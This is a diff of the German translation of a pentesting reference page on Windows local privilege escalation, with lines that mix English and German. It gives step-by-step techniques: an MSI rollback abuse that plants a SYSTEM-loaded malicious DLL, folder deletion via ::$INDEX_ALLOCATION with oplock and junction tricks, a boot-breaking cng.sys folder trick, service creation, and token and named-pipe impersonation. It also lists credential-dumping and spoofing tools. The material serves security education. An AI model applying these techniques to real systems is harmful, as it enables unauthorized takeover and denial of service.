-- Step 4: Block Deletion of `.rbf`
-- Wenn signalisiert, öffne die `.rbf`-Datei ohne `FILE_SHARE_DELETE` — das **verhindert, dass sie gelöscht wird**.
-- Dann **signal back**, damit die Deinstallation abgeschlossen werden kann.
-- Der Windows Installer kann die `.rbf` nicht löschen, und da er nicht alle Inhalte löschen kann, wird **`C:\Config.Msi` nicht entfernt**.
+- Schritt 4: Löschen der `.rbf` blockieren
+  - Wenn signalisiert, **öffne die `.rbf`-Datei** ohne `FILE_SHARE_DELETE` — das **verhindert, dass sie gelöscht wird**.
+  - Dann **signalisiere zurück**, sodass die Deinstallation beendet werden kann.
+  - Der Windows Installer kann die `.rbf` nicht löschen, und da nicht alle Inhalte gelöscht werden können, **wird `C:\Config.Msi` nicht entfernt**.
 
-- Step 5: Manually Delete `.rbf`
-- Du (Angreifer) löschst die `.rbf`-Datei manuell.
-- Jetzt ist **`C:\Config.Msi` leer** und bereit zur Kapern.
+- Schritt 5: `.rbf` manuell löschen
+  - Du (Angreifer) löschst die `.rbf`-Datei manuell.
+  - Jetzt ist **`C:\Config.Msi` leer** und bereit zum Hijacken.
 
-> An diesem Punkt, **trigger the SYSTEM-level arbitrary folder delete vulnerability**, um `C:\Config.Msi` zu löschen.
+> An diesem Punkt, trigger die SYSTEM-level arbitrary folder delete vulnerability, um `C:\Config.Msi` zu löschen.
 
-2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones**
+2. **Stage 2 – Ersetzen von Rollback-Skripten durch bösartige**
 
-- Step 6: Recreate `C:\Config.Msi` with Weak ACLs
-- Erstelle den `C:\Config.Msi`-Ordner selbst neu.
-- Setze **schwache DACLs** (z. B. Everyone:F) und **halte einen Handle offen** mit `WRITE_DAC`.
+- Schritt 6: `C:\Config.Msi` mit schwachen ACLs neu erstellen
+  - Erstelle den Ordner `C:\Config.Msi` selbst neu.
+  - Setze **schwache DACLs** (z. B. Everyone:F) und **halte einen Handle** mit `WRITE_DAC` offen.
 
-- Step 7: Run Another Install
-- Installiere die `.msi` erneut, mit:
-- `TARGETDIR`: beschreibbarer Ort.
-- `ERROROUT`: Eine Variable, die einen erzwungenen Fehler auslöst.
-- Diese Installation wird verwendet, um erneut einen **Rollback** auszulösen, der `.rbs` und `.rbf` liest.
+- Schritt 7: Führe eine weitere Installation aus
+  - Installiere das `.msi` erneut mit:
+    - `TARGETDIR`: beschreibbarer Ort,
+    - `ERROROUT`: eine Variable, die einen erzwungenen Fehler auslöst.
+  - Diese Installation wird verwendet, um erneut einen **Rollback** auszulösen, der `.rbs` und `.rbf` liest.
 
-- Step 8: Monitor for `.rbs`
-- Verwende `ReadDirectoryChangesW`, um `C:\Config.Msi` zu überwachen, bis ein neues `.rbs` erscheint.
-- Erfasse dessen Dateinamen.
+- Schritt 8: Auf `.rbs` überwachen
+  - Verwende `ReadDirectoryChangesW`, um `C:\Config.Msi` zu überwachen, bis eine neue `.rbs` erscheint.
+  - Erfasse ihren Dateinamen.
 
-- Step 9: Sync Before Rollback
-- Die `.msi` enthält eine **custom install action (`SyncBeforeRollback`)**, die:
-- ein Event signalisiert, wenn das `.rbs` erstellt wurde.
-- und dann wartet, bevor sie fortfährt.
+- Schritt 9: Synchronisation vor dem Rollback
+  - Das `.msi` enthält eine **benutzerdefinierte Installationsaktion (`SyncBeforeRollback`)**, die:
+    - ein Event signalisiert, wenn die `.rbs` erstellt wurde,
+    - und dann wartet, bevor sie fortfährt.
 
-- Step 10: Reapply Weak ACL
-- Nachdem das `rbs created`-Event empfangen wurde:
-- Wendet der Windows Installer **starke ACLs** auf `C:\Config.Msi` an.
-- Da du jedoch immer noch einen Handle mit `WRITE_DAC` hast, kannst du die **schwachen ACLs erneut anwenden**.
+- Schritt 10: Schwache ACL erneut anwenden
+  - Nachdem du das `\.rbs created`-Event erhalten hast:
+    - Der Windows Installer **wendet starke ACLs** auf `C:\Config.Msi` an.
+    - Aber da du noch einen Handle mit `WRITE_DAC` offen hast, kannst du die **schwachen ACLs erneut setzen**.
+  - ACLs werden **nur beim Öffnen eines Handles** durchgesetzt, also kannst du weiterhin in den Ordner schreiben.
 
-> ACLs are **only enforced on handle open**, so you can still write to the folder.
+- Schritt 11: Fake `.rbs` und `.rbf` ablegen
+  - Überschreibe die `.rbs`-Datei mit einem **gefälschten Rollback-Skript**, das Windows anweist:
+    - deine `.rbf`-Datei (malicious DLL) an einen **privilegierten Ort** wiederherzustellen (z. B. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`),
+    - und deine gefälschte `.rbf` abzulegen, die eine **bösartige SYSTEM-Level-Payload DLL** enthält.
 
-- Step 11: Drop Fake `.rbs` and `.rbf`
-- Überschreibe die `.rbs`-Datei mit einem **gefälschten Rollback-Skript**, das Windows anweist:
-- Dein `.rbf` (bösartige DLL) in einen **privilegierten Pfad** wiederherzustellen (z. B. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`).
-- Lege deine gefälschte `.rbf` mit einer **bösartigen SYSTEM-Level-Payload-DLL** ab.
+- Schritt 12: Rollback auslösen
+  - Signaliere das Synchronisations-Event, damit der Installer fortsetzt.
+  - Eine **type 19 custom action (`ErrorOut`)** ist konfiguriert, um die Installation an einem bekannten Punkt absichtlich fehlschlagen zu lassen.
+  - Das löst den **Rollback** aus.
 
-- Step 12: Trigger the Rollback
-- Signalisiere das Sync-Event, damit der Installer fortsetzt.
-- Eine **type 19 custom action (`ErrorOut`)** ist so konfiguriert, dass die Installation an einer bekannten Stelle **absichtlich fehlschlägt**.
-- Das löst den **Rollback** aus.
+- Schritt 13: SYSTEM installiert deine DLL
+  - Der Windows Installer:
+    - liest dein bösartiges `.rbs`,
+    - kopiert deine `.rbf`-DLL in den Zielort.
+  - Du hast jetzt deine **bösartige DLL in einem von SYSTEM geladenen Pfad**.
 
-- Step 13: SYSTEM Installs Your DLL
-- Der Windows Installer:
-- liest dein bösartiges `.rbs`.
-- kopiert deine `.rbf`-DLL an den Zielort.
-- Du hast jetzt deine **bösartige DLL in einem von SYSTEM geladenen Pfad**.
+- Finaler Schritt: SYSTEM-Code ausführen
+  - Starte ein vertrauenswürdiges **auto-elevated binary** (z. B. `osk.exe`), das die von dir hijackte DLL lädt.
+  - **Boom**: Dein Code wird **als SYSTEM** ausgeführt.
 
-- Final Step: Execute SYSTEM Code
-- Starte ein vertrauenswürdiges, **auto-elevated binary** (z. B. `osk.exe`), das die DLL lädt, die du gehijackt hast.
-- **Boom**: Dein Code wird **als SYSTEM** ausgeführt.
+### From Arbitrary File Delete/Move/Rename to SYSTEM EoP
 
-### Von beliebigem Datei-Löschen/Verschieben/Umbenennen zu SYSTEM EoP
+Die Haupt-MSI-Rollback-Technik (die vorherige) setzt voraus, dass du einen **gesamten Ordner** löschen kannst (z. B. `C:\Config.Msi`). Aber was, wenn deine Schwachstelle nur **arbitrary file deletion** erlaubt?
 
-Die Haupttechnik mit MSI-Rollback (die vorherige) geht davon aus, dass du einen **gesamten Ordner** löschen kannst (z. B. `C:\Config.Msi`). Aber was, wenn deine Verwundbarkeit nur **arbitrary file deletion** erlaubt?
-
-Du könntest die **NTFS internals** ausnutzen: Jeder Ordner hat einen versteckten alternativen Datenstrom, genannt:
+Du könntest NTFS-Interna ausnutzen: Jeder Ordner hat einen versteckten alternate data stream namens:
 ```
 C:\SomeFolder::$INDEX_ALLOCATION
 ```
@@ -1433,21 +1496,21 @@ Dieser Stream speichert die **Index-Metadaten** des Ordners.
 
 Wenn Sie also **den `::$INDEX_ALLOCATION`-Stream eines Ordners löschen**, entfernt NTFS **den gesamten Ordner** aus dem Dateisystem.
 
-Sie können dies mit standardmäßigen Datei-Lösch-APIs wie:
+Das können Sie mit Standard-APIs zum Löschen von Dateien wie folgt tun:
 ```c
 DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
 ```
-> Auch wenn du eine *file* delete API aufrufst, löscht sie **den Ordner selbst**.
+> Auch wenn du eine *file* delete API aufrufst, **löscht sie den Ordner selbst**.
 
 ### From Folder Contents Delete to SYSTEM EoP
-Was, wenn deine Primitive es dir nicht erlaubt, beliebige Dateien/Ordner zu löschen, aber sie **die Löschung der *contents* eines vom Angreifer kontrollierten Ordners erlaubt**?
+What if your primitive doesn’t allow you to delete arbitrary files/folders, but it **does allow deletion of the *contents* of an attacker-controlled folder**?
 
-1. Schritt: Köder-Ordner und Datei einrichten
+1. Schritt 1: Richte einen Köderordner und eine Datei ein
 - Erstelle: `C:\temp\folder1`
 - Darin: `C:\temp\folder1\file1.txt`
 
-2. Schritt: Platziere ein **oplock** auf `file1.txt`
-- Das **oplock** **unterbricht die Ausführung**, wenn ein privilegierter Prozess versucht, `file1.txt` zu löschen.
+2. Schritt 2: Platziere einen **oplock** auf `file1.txt`
+- Der oplock **unterbricht die Ausführung**, wenn ein privilegierter Prozess versucht, `file1.txt` zu löschen.
 ```c
 // pseudo-code
 RequestOplock("C:\\temp\\folder1\\file1.txt");
@@ -1455,13 +1518,13 @@ WaitForDeleteToTriggerOplock();
 ```
 3. Schritt 3: SYSTEM-Prozess auslösen (z. B. `SilentCleanup`)
 - Dieser Prozess durchsucht Ordner (z. B. `%TEMP%`) und versucht, deren Inhalte zu löschen.
-- Wenn er `file1.txt` erreicht, wird der **oplock wird ausgelöst** und übergibt die Kontrolle an deinen Callback.
+- Wenn er `file1.txt` erreicht, wird die **oplock** ausgelöst und die Kontrolle an deinen callback übergeben.
 
-4. Schritt 4: Innerhalb des oplock-Callbacks – leite die Löschung um
+4. Schritt 4: Innerhalb des oplock-Callbacks – die Löschung umleiten
 
 - Option A: Verschiebe `file1.txt` an einen anderen Ort
-- Dadurch wird `folder1` geleert, ohne den oplock zu brechen.
-- Lösche `file1.txt` nicht direkt — das würde den oplock vorzeitig freigeben.
+- Dadurch wird `folder1` geleert, ohne die oplock zu brechen.
+- Lösche `file1.txt` nicht direkt — das würde die oplock vorzeitig freigeben.
 
 - Option B: Wandle `folder1` in eine **junction** um:
 ```bash
@@ -1473,68 +1536,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
 # Make file1.txt point to a sensitive folder stream
 CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
 ```
-> Dies zielt auf den internen NTFS-Stream ab, der Ordner-Metadaten speichert — wenn man ihn löscht, wird der Ordner gelöscht.
+> Dies richtet sich auf den NTFS-internen Stream, der die Ordner-Metadaten speichert — das Löschen davon löscht den Ordner.
 
-5. Schritt 5: Den oplock freigeben
+5. Schritt 5: Oplock freigeben
 - Der SYSTEM-Prozess fährt fort und versucht, `file1.txt` zu löschen.
-- Aber jetzt löscht er aufgrund der junction + symlink tatsächlich:
+- Aber jetzt, aufgrund der junction + symlink, wird tatsächlich gelöscht:
 ```
 C:\Config.Msi::$INDEX_ALLOCATION
 ```
 **Ergebnis**: `C:\Config.Msi` wird von SYSTEM gelöscht.
 
-### Vom Erstellen beliebiger Ordner zu dauerhaftem DoS
+### Von Arbitrary Folder Create zu Permanent DoS
 
-Nutze ein Primitiv, das es dir erlaubt, **einen beliebigen Ordner als SYSTEM/admin zu erstellen** — selbst wenn **du keine Dateien schreiben kannst** oder **keine schwachen Berechtigungen setzen kannst**.
+Nutze einen primitiven Mechanismus, der es dir erlaubt, **create an arbitrary folder as SYSTEM/admin** — selbst wenn **you can’t write files** oder **set weak permissions**.
 
 Erstelle einen **Ordner** (keine Datei) mit dem Namen eines **kritischen Windows-Treibers**, z. B.:
 ```
 C:\Windows\System32\cng.sys
 ```
-- Dieser Pfad entspricht normalerweise dem Kernelmodus-Treiber `cng.sys`.
-- Wenn Sie ihn **vorab als Ordner anlegen**, kann Windows beim Start den eigentlichen Treiber nicht laden.
-- Windows versucht dann, `cng.sys` während des Starts zu laden.
-- Es sieht den Ordner, **kann den eigentlichen Treiber nicht auflösen**, und **stürzt ab oder stoppt den Startvorgang**.
-- Es gibt **kein Fallback**, und **keine Wiederherstellung** ohne externe Eingriffe (z. B. Startreparatur oder Festplattenzugriff).
+- Dieser Pfad entspricht normalerweise dem Kernel-Modus-Treiber `cng.sys`.
+- Wenn Sie ihn **vorab als Ordner anlegen**, kann Windows den tatsächlichen Treiber beim Booten nicht laden.
+- Während des Bootvorgangs versucht Windows dann, `cng.sys` zu laden.
+- Es entdeckt den Ordner, **kann den eigentlichen Treiber nicht auflösen**, und **stürzt ab oder stoppt den Bootvorgang**.
+- Es gibt **keinen Fallback** und **keine Wiederherstellung** ohne externe Intervention (z. B. Bootreparatur oder Zugriff auf die Festplatte).
 
 
 ## **Von High Integrity zu SYSTEM**
 
 ### **Neuer Dienst**
 
-Wenn Sie bereits in einem High Integrity-Prozess laufen, kann der **Weg zu SYSTEM** sehr einfach sein — **einen neuen Dienst zu erstellen und auszuführen**:
+Wenn Sie bereits in einem High Integrity-Prozess laufen, kann der **Pfad zu SYSTEM** ganz einfach sein, indem Sie **einen neuen Dienst erstellen und ausführen**:
 ```
 sc create newservicename binPath= "C:\windows\system32\notepad.exe"
 sc start newservicename
 ```
 > [!TIP]
-> Wenn Sie eine Service-Binärdatei erstellen, stellen Sie sicher, dass es sich um einen gültigen Service handelt oder dass die Binärdatei die notwendigen Aktionen schnell genug ausführt, da sie sonst nach 20s beendet wird, wenn es kein gültiger Service ist.
+> Wenn Sie eine Service-Binary erstellen, stellen Sie sicher, dass es sich um einen gültigen Service handelt oder dass die Binary die notwendigen Aktionen schnell ausführt, da sie nach 20s beendet wird, wenn es kein gültiger Service ist.
 
 ### AlwaysInstallElevated
 
-Von einem High-Integrity-Prozess aus können Sie versuchen, die **AlwaysInstallElevated**-Registry-Einträge zu aktivieren und eine **reverse shell** mit einem _**.msi**_ Wrapper zu installieren.\
-[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated)
+From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\
+[Mehr Informationen über die beteiligten Registry-Keys und wie man ein _.msi_-Paket installiert hier.](#alwaysinstallelevated)
 
 ### High + SeImpersonate privilege to System
 
-**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.**
+**Sie können** [**den Code hier finden**](seimpersonate-from-high-to-system.md)**.**
 
-### Von SeDebug + SeImpersonate zu Full Token-Privilegien
+### From SeDebug + SeImpersonate to Full Token privileges
 
-Wenn Sie diese Token-Privilegien haben (wahrscheinlich finden Sie diese bereits in einem High-Integrity-Prozess), können Sie mit dem SeDebug-Privileg fast jeden Prozess (nicht geschützte Prozesse) öffnen, das Token des Prozesses kopieren und einen beliebigen Prozess mit diesem Token erstellen.\
-Bei dieser Technik wählt man üblicherweise einen Prozess, der als SYSTEM mit allen Token-Privilegien läuft (_ja, Sie können SYSTEM-Prozesse ohne alle Token-Privilegien finden_).\
-**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.**
+If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\
+Die Verwendung dieser Technik wählt normalerweise **irgendeinen Prozess, der als SYSTEM mit allen Token-Privilegien läuft** (_ja, Sie können SYSTEM-Prozesse finden, die nicht alle Token-Privilegien haben_).\
+**Sie können ein** [**Beispielcode, der die vorgeschlagene Technik ausführt, hier finden**](sedebug-+-seimpersonate-copy-token.md)**.**
 
 ### **Named Pipes**
 
-Diese Technik wird von meterpreter verwendet, um mittels `getsystem` zu eskalieren. Die Technik besteht darin, eine Pipe zu erstellen und dann einen Service zu erstellen/missbrauchen, der in diese Pipe schreibt. Anschließend kann der **Server**, der die Pipe mit dem `SeImpersonate`-Privileg erstellt hat, das Token des Pipe-Clients (des Services) impersonalisieren und SYSTEM-Rechte erhalten.\
-If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\
-If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md).
+This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\
+Wenn Sie [**mehr über name pipes erfahren möchten, sollten Sie dies lesen**](#named-pipe-client-impersonation).\
+Wenn Sie ein Beispiel lesen möchten, [**wie man von high integrity zu System mit name pipes gelangt, lesen Sie dies**](from-high-integrity-to-system-with-name-pipes.md).
 
 ### Dll Hijacking
 
-Wenn es Ihnen gelingt, eine dll zu hijacken, die von einem Prozess geladen wird, der als SYSTEM läuft, können Sie mit diesen Rechten beliebigen Code ausführen. Daher ist Dll Hijacking auch nützlich für diese Art der Privilegieneskalation und zudem deutlich einfacher von einem High-Integrity-Prozess aus zu erreichen, da dieser Schreibrechte auf die Ordner hat, die zum Laden von dlls verwendet werden.\
-**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.**
+If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\
+**Sie können** [**mehr über Dll hijacking hier lernen**](dll-hijacking/index.html)**.**
 
 ### **From Administrator or Network Service to System**
 
@@ -1542,9 +1605,9 @@ Wenn es Ihnen gelingt, eine dll zu hijacken, die von einem Prozess geladen wird,
 - [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/)
 - [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit)
 
-### From LOCAL SERVICE or NETWORK SERVICE to full privs
+### Von LOCAL SERVICE oder NETWORK SERVICE zu full privs
 
-**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
+**Siehe:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
 
 ## Mehr Hilfe
 
@@ -1552,49 +1615,49 @@ Wenn es Ihnen gelingt, eine dll zu hijacken, die von einem Prozess geladen wird,
 
 ## Nützliche Tools
 
-**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+**Bestes Tool, um Windows local privilege escalation Vektoren zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
 
 **PS**
 
 [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
-[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Prüft auf Fehlkonfigurationen und sensitive Dateien (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\
-[**JAWS**](https://github.com/411Hall/JAWS) **-- Prüft auf mögliche Fehlkonfigurationen und sammelt Informationen (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
+[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Prüft auf Fehlkonfigurationen und sensitive Dateien (**[**siehe hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Erkannt.**\
+[**JAWS**](https://github.com/411Hall/JAWS) **-- Prüft einige mögliche Fehlkonfigurationen und sammelt Infos (**[**siehe hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
 [**privesc** ](https://github.com/enjoiz/Privesc)**-- Prüft auf Fehlkonfigurationen**\
-[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrahiert PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP gespeicherte Sitzungsinformationen. Lokal mit -Thorough verwenden.**\
-[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrahiert Credentials aus Credential Manager. Detected.**\
-[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Versprüht gesammelte Passwörter im Domain-Umfeld**\
-[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS-Spoofer und Man-in-the-Middle-Tool.**\
-[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basis Windows Privesc-Enumeration**\
-[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Sucht nach bekannten Privesc-Schwachstellen (DEPRECATED für Watson)\
+[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrahiert PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP gespeicherte Sitzungsinformationen. Lokal -Thorough verwenden.**\
+[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrahiert Credentials aus Credential Manager. Erkannt.**\
+[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Sprayt gesammelte Passwörter über die Domain**\
+[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS Spoofer und MITM-Tool.**\
+[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basis Windows Privesc-Aufzählung**\
+[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Suche nach bekannten Privesc-Schwachstellen (VERALTET zugunsten von Watson)\
 [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokale Checks **(Benötigt Admin-Rechte)**
 
 **Exe**
 
-[**Watson**](https://github.com/rasta-mouse/Watson) -- Sucht nach bekannten Privesc-Schwachstellen (muss mit VisualStudio kompiliert werden) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
-[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeriert den Host und sucht nach Fehlkonfigurationen (mehr ein Informationssammlungs-Tool als reines Privesc-Tool) (muss kompiliert werden) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
-[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrahiert Credentials aus vielen Programmen (precompiled exe im GitHub)**\
+[**Watson**](https://github.com/rasta-mouse/Watson) -- Suche nach bekannten Privesc-Schwachstellen (muss mit VisualStudio kompiliert werden) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
+[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Durchsucht das Host-System nach Fehlkonfigurationen (mehr ein Information-Gathering-Tool als reines Privesc) (muss kompiliert werden) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
+[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrahiert Credentials aus vielen Programmen (precompiled exe auf GitHub)**\
 [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port von PowerUp nach C#**\
-[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Prüft auf Fehlkonfigurationen (ausführbare Datei precompiled in GitHub). Nicht empfohlen. Funktioniert nicht gut unter Win10.\
+[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Prüft auf Fehlkonfigurationen (executable precompiled auf GitHub). Nicht empfohlen. Funktioniert nicht gut unter Win10.\
 [~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Prüft auf mögliche Fehlkonfigurationen (exe aus python). Nicht empfohlen. Funktioniert nicht gut unter Win10.
 
 **Bat**
 
-[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool basierend auf diesem Post (benötigt accesschk nicht zwingend, kann es aber verwenden).
+[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool basierend auf diesem Post (benötigt accesschk nicht, kann es aber verwenden).
 
 **Local**
 
-[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Liest die Ausgabe von **systeminfo** und empfiehlt passende Exploits (lokal python)\
-[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Liest die Ausgabe von **systeminfo** und empfiehlt passende Exploits (lokal python)
+[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Liest die Ausgabe von **systeminfo** und empfiehlt funktionierende Exploits (lokal python)\
+[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Liest die Ausgabe von **systeminfo** und empfiehlt funktionierende Exploits (lokal python)
 
 **Meterpreter**
 
 _multi/recon/local_exploit_suggestor_
 
-You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do:
+Sie müssen das Projekt mit der korrekten Version von .NET kompilieren ([siehe dies](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Um die installierte Version von .NET auf dem Opfer-Host zu sehen, können Sie:
 ```
 C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
 ```
-## Referenzen
+## Quellen
 
 - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
 - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
@@ -1613,4 +1676,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
 
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 
+- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)
+
 {{#include ../../banners/hacktricks-training.md}}